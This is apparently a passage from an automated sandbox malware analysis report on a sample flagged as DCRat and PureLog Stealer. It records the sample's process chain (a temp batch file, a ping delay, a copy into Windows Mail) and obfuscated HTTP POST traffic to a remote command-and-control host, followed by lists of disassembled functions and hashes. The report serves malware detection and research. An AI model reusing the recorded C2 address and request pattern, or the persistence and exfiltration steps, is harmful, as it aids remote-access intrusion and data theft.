Jan 9, 2025 04:14:13.811079025 CET	1048	OUT	Data Raw: 5f 50 59 5b 5a 59 58 5f 55 56 55 5a 56 5d 55 54 56 54 5a 5c 55 52 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _PY[ZYX_UVUZV]UTVTZ\URS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%'( 8=^3.+.?\ 5(8&%? 3Z&$='(? \%#Y)0
Jan 9, 2025 04:14:14.170819998 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:14.307295084 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50157	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:14.318332911 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive

Target ID:	0
Start time:	22:11:53
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\FYKrlfQrxb.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\FYKrlfQrxb.exe"
Imagebase:	0x3b0000
File size:	1'899'008 bytes
MD5 hash:	DE020EA4DF72A05A6D3850F89804167F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1655410862.00000000003B2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1690622785.00000000129B7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:11:56
Start date:	08/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat"
Imagebase:	0x7ff70b9b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:11:56
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:11:56
Start date:	08/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff7824c0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:11:56
Start date:	08/01/2025
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff758c20000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:12:05
Start date:	08/01/2025
Path:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe"
Imagebase:	0xac0000
File size:	1'899'008 bytes
MD5 hash:	DE020EA4DF72A05A6D3850F89804167F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4126682689.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	33.3%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B7D0D67 Relevance: .3, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7a7540eb2ad91af09f71afd6edef7ee5957da79dbc70119c6f177b18fc9759d
Instruction ID: 9ee40ece26a1a1c8f366ac44cb90c3a8f431c6194ac2237a9c871f5dd714aa23
Opcode Fuzzy Hash: a7a7540eb2ad91af09f71afd6edef7ee5957da79dbc70119c6f177b18fc9759d
Instruction Fuzzy Hash: 11A1C175A09A8D8FE798EF68C8657A97FE1FB95300F4102BAD00DD72E2CB782815C740

Function 00007FFD9B98738D Relevance: .3, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 811da59e75351accf6f2c19a6736239a44319cdaa46530409f561bc339993298
Instruction ID: fbb8beb3c579c19091184abef968511889f2b4d916ea87b3b9ed2b579cc280da
Opcode Fuzzy Hash: 811da59e75351accf6f2c19a6736239a44319cdaa46530409f561bc339993298
Instruction Fuzzy Hash: C791D030A1A64D8FEB68EFA4C4A5AB97BB1FF45304F5500BDD01AD72E6CE386945CB00

Function 00007FFD9B7D0B47 Relevance: 2.6, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!k9, xrefs: 00007FFD9B7D0B4E
c9, xrefs: 00007FFD9B7D0B56

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID: c9$!k9
API String ID: 0-3254877420
Opcode ID: a50c2fe7a727315c16f750baa2f33b57745f0396111d0458df96155db608053f
Instruction ID: 00bb10c873a22074395ee830c2a4c8132eeda2f58544df434fd8ca54e90edef3
Opcode Fuzzy Hash: a50c2fe7a727315c16f750baa2f33b57745f0396111d0458df96155db608053f
Instruction Fuzzy Hash: 9F11A236A2864DCFCB44DF1CE4515D977A0FF94324B01027AE849D7260D330B969CBC0

Function 00007FFD9B97EDB8 Relevance: 1.7, APIs: 1, Instructions: 162
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FFD9B97EEB1

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d3423b5f690fac1f342faac229e6ac2a9ce3fbcce20fa2cedd2b1f63a7210afe
Instruction ID: d6c79f2a3649c14599dd7fc4cbb8eb6236ad0ecc7fb803cffbb9f7a4bad26ee3
Opcode Fuzzy Hash: d3423b5f690fac1f342faac229e6ac2a9ce3fbcce20fa2cedd2b1f63a7210afe
Instruction Fuzzy Hash: 2E517B7090D78C8FDB59DFA8C895AE8BBF0EF56310F1441ABD049D7292DA349846CB11

Function 00007FFD9B97D5ED Relevance: 1.6, APIs: 1, Instructions: 141
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNELBASE ref: 00007FFD9B97D6C1

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: 96940e4cb2bac61331c0781d118cd5de9d53f930bed4efe9e153027f94036829
Instruction ID: abcc6ce04cb61cc905899780c57a44c58414953444abadbffeb705144bec8b6a
Opcode Fuzzy Hash: 96940e4cb2bac61331c0781d118cd5de9d53f930bed4efe9e153027f94036829
Instruction Fuzzy Hash: E6412A74E0864C8FDB58DFA8D895AEDBBF0FF5A310F10416AD049E7252DA74A846CB41

Function 00007FFD9B980BC5 Relevance: 1.6, APIs: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00007FFD9B980C92

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 55777d32fb4a095f09a22ac4947e35b3d96332db8c281b097c3fb1203631254c
Instruction ID: ecd04b4556635055a9141dcc2d535056c4da1f298f1fac2b2a2f4ae870dd281b
Opcode Fuzzy Hash: 55777d32fb4a095f09a22ac4947e35b3d96332db8c281b097c3fb1203631254c
Instruction Fuzzy Hash: 05410A70E08A4C8FDB98DF98D495BEDBBF0FB59310F10416ED049E7252DA719885CB41

Function 00007FFD9B97EF19 Relevance: 1.4, APIs: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00007FFD9B97EFF1

Memory Dump Source

Source File: 00000000.00000002.1695238842.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_FYKrlfQrxb.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 44f5d634236704d35aaf6c70e40b7cb6dcfd6e47468e6a0f8466efd0f4181899
Instruction ID: 1a0c1a3b6ba5112a0a9464f4018c600029b9266eef38dec977a4a08999ec2474
Opcode Fuzzy Hash: 44f5d634236704d35aaf6c70e40b7cb6dcfd6e47468e6a0f8466efd0f4181899
Instruction Fuzzy Hash: 5A416D30D0865C8FDB59DFA8C895BEDBBF0EF56310F1041AED049E7292DA34A886CB01

Function 00007FFD9B7D09B0 Relevance: .2, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8808aeefb3aa4856990b5d1b0e8fa0c7750978df4b24490ddef3f6e2589f6a5
Instruction ID: 2d2022d164421555bece66fe78b8ec3fa5f85d845606365903842c57033ef4a7
Opcode Fuzzy Hash: e8808aeefb3aa4856990b5d1b0e8fa0c7750978df4b24490ddef3f6e2589f6a5
Instruction Fuzzy Hash: DC51F82BF0819A4AD715BBBCB5259ED7760EFC036DB1A83B6E05D8A0D7CE186485C3D0

Function 00007FFD9B7D090D Relevance: .2, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 745f049f96b69e2443128142d282b1ff8198963fd72f9d2901e5ebcdd5b9f5f8
Instruction ID: 164d8c0b6bf44c99eac48b280fb664f9808348922dc8300cbc74b9c3d397bbc7
Opcode Fuzzy Hash: 745f049f96b69e2443128142d282b1ff8198963fd72f9d2901e5ebcdd5b9f5f8
Instruction Fuzzy Hash: A7519031E0865D8FDB44EFA8D4A5AECB7B0FF98315F11457AD009D72A6DB34A841CB80

Function 00007FFD9B7D0960 Relevance: .1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850a0f8c719b1c0b4d207c0d688cfb5cb0a00a13412babf4e3fb138ba8e02843
Instruction ID: 560541e5684c3d6b01850ebeddb38970e4226af1f69546a90a5ceef4a4046b1a
Opcode Fuzzy Hash: 850a0f8c719b1c0b4d207c0d688cfb5cb0a00a13412babf4e3fb138ba8e02843
Instruction Fuzzy Hash: 0B416C31E0865D8FDB54EFA8D4A5AEC77B1FF98315F11417AE40DD32A6CE34A8818780

Function 00007FFD9B7D0998 Relevance: .1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43e8017279ecd23e0d0c84012ceff2d6187e751ca3f53b3617fd33c11bbef64
Instruction ID: a61285b0f5c1f97ed76d63fe81655998fee7128bd16ef0dd92ce62b11164bb72
Opcode Fuzzy Hash: d43e8017279ecd23e0d0c84012ceff2d6187e751ca3f53b3617fd33c11bbef64
Instruction Fuzzy Hash: B6410B70E14A5D8FDB94EF98C8A5AEDB7F1FF58305F01016AE409E32A5DB34A841CB41

Function 00007FFD9B7D494C Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d525598068a6023e6b62ab7cc9e4ad15d26edc5ef1e86e1647ac297f5ffc9cb8
Instruction ID: 4e4d3001fba9dd05a54e08d0b4d8957c662a1cd49592d65d7f981e93b575913c
Opcode Fuzzy Hash: d525598068a6023e6b62ab7cc9e4ad15d26edc5ef1e86e1647ac297f5ffc9cb8
Instruction Fuzzy Hash: DC31BB70915A2D8FDFA4DF15C894AA9B3B1FBA4315F1001AAD00EE36A1CA719A85CF41

Function 00007FFD9B7D0C25 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 021cfce61075b08204c719cfb1375d7f0814c3e9e1001637b02ac62f6b75c8b6
Instruction ID: 715119c3065263406e759d984abf9573e3cbe69b04e1857fb3bca525efaacc9c
Opcode Fuzzy Hash: 021cfce61075b08204c719cfb1375d7f0814c3e9e1001637b02ac62f6b75c8b6
Instruction Fuzzy Hash: 92210336B0D38D4FE7129AA8D8252ED7B20EFC2361F0657B7C148CA1F2CA342609C791

Function 00007FFD9B7D06A5 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6a8013b5cb14cd88ea7cbfdc1e6400e3581617c7a4860d04a413d8a933fc6a1
Instruction ID: 1e72ecef03cfaf6ca3ecb1e5b0b5ea365069d837cbfeb4aaf6ee2e3e83a72fbb
Opcode Fuzzy Hash: e6a8013b5cb14cd88ea7cbfdc1e6400e3581617c7a4860d04a413d8a933fc6a1
Instruction Fuzzy Hash: 6421BE32E0E74E8AEB61FFA894696ED77A0FF94304F414672E40DC20B1DE346694CA41

Function 00007FFD9B7D0C38 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e09c7e941859cb37ae4e03ea9c3aa86793a5bd545e9c9c466e633291087eb52
Instruction ID: 8d0575d512e65930a671d60c174472cbe5c5bbc0eac07685f748ba61d4f82e47
Opcode Fuzzy Hash: 6e09c7e941859cb37ae4e03ea9c3aa86793a5bd545e9c9c466e633291087eb52
Instruction Fuzzy Hash: 3F11E235B0D79E4EE712AB68C8242E93770EFC2310F0656B7C148DB1F2CA382609C790

Function 00007FFD9B7D0C40 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 518438c99583009a367f708e2067c3898a1c25e1f742379935531b83f702d7a9
Instruction ID: 7c0fd1910a324909a27693ac8fa377f21bc1201d170460eab9bfd86ca98e9554
Opcode Fuzzy Hash: 518438c99583009a367f708e2067c3898a1c25e1f742379935531b83f702d7a9
Instruction Fuzzy Hash: A811E335A0D39E8EE712AB64C8242E97B70EF82310F0656B7C145DB1F2CA382608C790

Function 00007FFD9B7D0C48 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ef0a58a59e43c44422c2c65fecb5adfb4a0a1f663680f9b89f929ca676091a
Instruction ID: b1639378faa81862a81c005974109bf27812ee8192d37aee3958a116ee7f46c6
Opcode Fuzzy Hash: 96ef0a58a59e43c44422c2c65fecb5adfb4a0a1f663680f9b89f929ca676091a
Instruction Fuzzy Hash: E911E135E0D39E8FE712AB64C8242EA7B70EF82310F0642B7D055DB1F2CA386618C791

Function 00007FFD9B7D0C50 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af39dfb097e262063501a0f5298b1a9c082683ed75c5f0dd46ea270e6a41b029
Instruction ID: 0817169ea220dfa16e3df75b7c06e7f9eb7725f59e9d4217081322c48345eb6a
Opcode Fuzzy Hash: af39dfb097e262063501a0f5298b1a9c082683ed75c5f0dd46ea270e6a41b029
Instruction Fuzzy Hash: C201C034E0D39A8EE712ABA4C8246EA7B70EF86300F0543B6D0559B1E7CE386618C791

Function 00007FFD9B7D13A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed9e722fa88f4fde8548425adbaa5ee75b5ea8fc7cd47c5976cf898f2a34507
Instruction ID: 6336e592b30c4d3c46e065bf7ca7822fc8b4551bbdea855c117850f8195854aa
Opcode Fuzzy Hash: 0ed9e722fa88f4fde8548425adbaa5ee75b5ea8fc7cd47c5976cf898f2a34507
Instruction Fuzzy Hash: FFF0BD74A14A4D9FDF94EF58C449AAE7BE0FF28304F014566F819D7260D630E990CB80

Function 00007FFD9B7D06C0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e0588d4cac84d725ba3784f8c47f4540d67e8215da58a21b8733655960a7d0a
Instruction ID: b072ba2939c97afe5ec9cbca833600b139f4a611533bbf20119980aab4c617af
Opcode Fuzzy Hash: 8e0588d4cac84d725ba3784f8c47f4540d67e8215da58a21b8733655960a7d0a
Instruction Fuzzy Hash: C8F0B430D0960E8FEB50EFA484596ED77E0FF54304F414236E40CD21B1CA346290CB80

Function 00007FFD9B7D43BB Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2114daf3721b2afffa02191a0dfa2ad00983dedb22547dd9ff54d7ce275ce9a3
Instruction ID: f2e6fdc7c31640de072748ae11f6bae96d6156adbc6d0d0608d2dbba6c9eb5d3
Opcode Fuzzy Hash: 2114daf3721b2afffa02191a0dfa2ad00983dedb22547dd9ff54d7ce275ce9a3
Instruction Fuzzy Hash: 42F05B70A0965D8BEBA49B44DC547DCB370EF84305F1052B8C10E627E1CE382BC9CB05

Function 00007FFD9B7D64FA Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693910383.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_FYKrlfQrxb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3173682cfe86f4e9528672ab0541066fa70356fa2c6917c7fb3e156202c0b716
Instruction ID: 7dd9568433d92780473da6e66d58c3257b1a7f9e66908d9836072b3971b6c230
Opcode Fuzzy Hash: 3173682cfe86f4e9528672ab0541066fa70356fa2c6917c7fb3e156202c0b716
Instruction Fuzzy Hash: 56E0E570919B298BDB65DB20DCA49EEBB71AF51391F8152E6D00E661A6CE341B85CF00

Non-executed Functions

Function 00007FFD9B97011D Relevance: 131.3, Strings: 103, Instructions: 2520COMMON

Download Yara Rule

Strings

=I, xrefs: 00007FFD9B970BE8
R, xrefs: 00007FFD9B9718FB
z, xrefs: 00007FFD9B97248D
3, xrefs: 00007FFD9B970FA2
q-a+, xrefs: 00007FFD9B9705D9
h, xrefs: 00007FFD9B971F5D
s, xrefs: 00007FFD9B972274
M, xrefs: 00007FFD9B97176A
a, xrefs: 00007FFD9B971D46
p, xrefs: 00007FFD9B97219D
|, xrefs: 00007FFD9B972520
t, xrefs: 00007FFD9B9722BE
\, xrefs: 00007FFD9B971BE2
`, xrefs: 00007FFD9B971CFA
/, xrefs: 00007FFD9B970E78
}, xrefs: 00007FFD9B972584
E, xrefs: 00007FFD9B9714FC
d, xrefs: 00007FFD9B971E49
+, xrefs: 00007FFD9B970D4E
l, xrefs: 00007FFD9B972077
8, xrefs: 00007FFD9B971117
!, xrefs: 00007FFD9B970A6A
), xrefs: 00007FFD9B970CBE
], xrefs: 00007FFD9B971C27
$/Z, xrefs: 00007FFD9B97252A
e, xrefs: 00007FFD9B971E7E
', xrefs: 00007FFD9B970C28
5, xrefs: 00007FFD9B971034
v, xrefs: 00007FFD9B972354
S, xrefs: 00007FFD9B971930
F, xrefs: 00007FFD9B97156B
J, xrefs: 00007FFD9B97167D
=, xrefs: 00007FFD9B97129F
?, xrefs: 00007FFD9B971334
k, xrefs: 00007FFD9B97202F
T, xrefs: 00007FFD9B97197C
4, xrefs: 00007FFD9B970FE9
:, xrefs: 00007FFD9B9711D7
C, xrefs: 00007FFD9B971460
9, xrefs: 00007FFD9B971162
m, xrefs: 00007FFD9B9720BF
BZlO, xrefs: 00007FFD9B97017F
Y, xrefs: 00007FFD9B971B04
#, xrefs: 00007FFD9B970B00
@, xrefs: 00007FFD9B97137C
$/Z, xrefs: 00007FFD9B972568
*, xrefs: 00007FFD9B970D06
G, xrefs: 00007FFD9B9715A6
X, xrefs: 00007FFD9B971AC9
;, xrefs: 00007FFD9B971212
y, xrefs: 00007FFD9B972448
j, xrefs: 00007FFD9B971FEA
O, xrefs: 00007FFD9B971800
w, xrefs: 00007FFD9B9723C1
L, xrefs: 00007FFD9B971735
(, xrefs: 00007FFD9B970C72
H, xrefs: 00007FFD9B9715EE
<, xrefs: 00007FFD9B971257
$, xrefs: 00007FFD9B970B48
^, xrefs: 00007FFD9B971C6C
g, xrefs: 00007FFD9B971F12
, xrefs: 00007FFD9B970A1E
B, xrefs: 00007FFD9B971412
%, xrefs: 00007FFD9B970B90
V, xrefs: 00007FFD9B971A09
f, xrefs: 00007FFD9B971EC6
-, xrefs: 00007FFD9B970DDE
&, xrefs: 00007FFD9B970BDE
c, xrefs: 00007FFD9B971DE0
I, xrefs: 00007FFD9B971638
~, xrefs: 00007FFD9B9725B9
., xrefs: 00007FFD9B970E2A
D, xrefs: 00007FFD9B9714AE
P, xrefs: 00007FFD9B97184E
A, xrefs: 00007FFD9B9713C4
o, xrefs: 00007FFD9B972155
0, xrefs: 00007FFD9B970EC4
7, xrefs: 00007FFD9B9710D0
Z, xrefs: 00007FFD9B971B4E
U|:Z, xrefs: 00007FFD9B971FF4
>, xrefs: 00007FFD9B9712ED
6, xrefs: 00007FFD9B971082
Q, xrefs: 00007FFD9B971897
,, xrefs: 00007FFD9B970D96
x, xrefs: 00007FFD9B9723FC
wCSDBDymg2VpPzimAMFBaEesN4sq3eX3iDIbWJMUVoXbdOnk5RE4I1irij0HVHsCfbG, xrefs: 00007FFD9B97215F
N, xrefs: 00007FFD9B9717B8
{, xrefs: 00007FFD9B9724D5
[, xrefs: 00007FFD9B971B9A
n, xrefs: 00007FFD9B97210B
W, xrefs: 00007FFD9B971A55
i, xrefs: 00007FFD9B971FA2
U, xrefs: 00007FFD9B9719C4
q, xrefs: 00007FFD9B9721E2
1, xrefs: 00007FFD9B970F12
r, xrefs: 00007FFD9B97222A
2, xrefs: 00007FFD9B970F5D
q-a+, xrefs: 00007FFD9B9722C8
